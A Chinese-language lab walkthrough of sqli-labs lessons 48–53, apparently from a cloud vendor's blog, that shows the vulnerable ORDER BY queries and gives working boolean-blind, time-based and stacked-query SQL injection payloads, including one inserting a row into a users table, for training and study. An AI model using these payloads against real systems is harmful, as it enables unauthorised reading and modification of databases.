WEB常见漏洞之SQL注入(靶场篇—3)4

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-48

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson46的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用布尔盲注判断注入点

sort=1--+

查询长度

sort=rand(length(user())>13)--+ //返回正常界面

sort=rand(length(user())>14)--+ //返回不同界面

640.png

两次结果不同,由此判断长度为 14

查询字符

sort=rand(substr(user(),1,1)='r')--+ //返回正常界面

sort=rand(left(user(),1)='r')--+ //left()函数

sort=rand(ascii(substr(user(),1,1))=114)--+ //ASCII码

sort=rand(substr(user(),1,1)='s')--+ //返回不同界面

确定用户名为root@localhost

sort=rand(substr(user(),1,14)='root@localhost')--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=rand(substr((selectdatabase()),1,14)='security')--+

Lesson-49

该题为单引号型get型注入,利用方式包括时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson48的利用方式相同,只不过拼接方式由数字变成了单引号

使用时间盲注判断注入点

sort=1'--+

查询长度

sort=1' and if(length(user())>1,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(length(user())>20,sleep(0.1),0)--+ //快速返回界面

确认长度为14位

sort=1' and if(length(user())=14,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

查询字符

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(left(user(),1)='r',sleep(0.1),0)--+ //left()函数

sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+ //ASCII码

640.png

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

640.png

确定用户名为root@localhost

sort=1' and if(substr(user(),1,14)='root@localhost',sleep(0.1),0)--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=1' and if(substr(database(),1,14)='security',sleep(0.1),0)--+

Lesson-50

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson46的利用方式相同,只不过查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠查询

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-51

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

640.png

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson50的利用方式相同,只不过拼接方式由数字换成了单引号

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-52

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-53

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了38-53关高级注入的通关教程。

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
9月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
1383 79
web渗透-文件包含漏洞
|
9月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
2939 1
Web渗透-文件上传漏洞-上篇
|
9月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
748 1
|
9月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2817 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
9月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
698 0
web渗透-CSRF漏洞
|
8月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
625 4
|
缓存 JavaScript 前端开发
鸿蒙5开发宝藏案例分享---Web开发优化案例分享
本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
|
JavaScript 前端开发 API
鸿蒙5开发宝藏案例分享---Web加载时延优化解析
本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
|
前端开发 JavaScript Shell
鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
|
JSON 开发框架 自然语言处理
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
381 104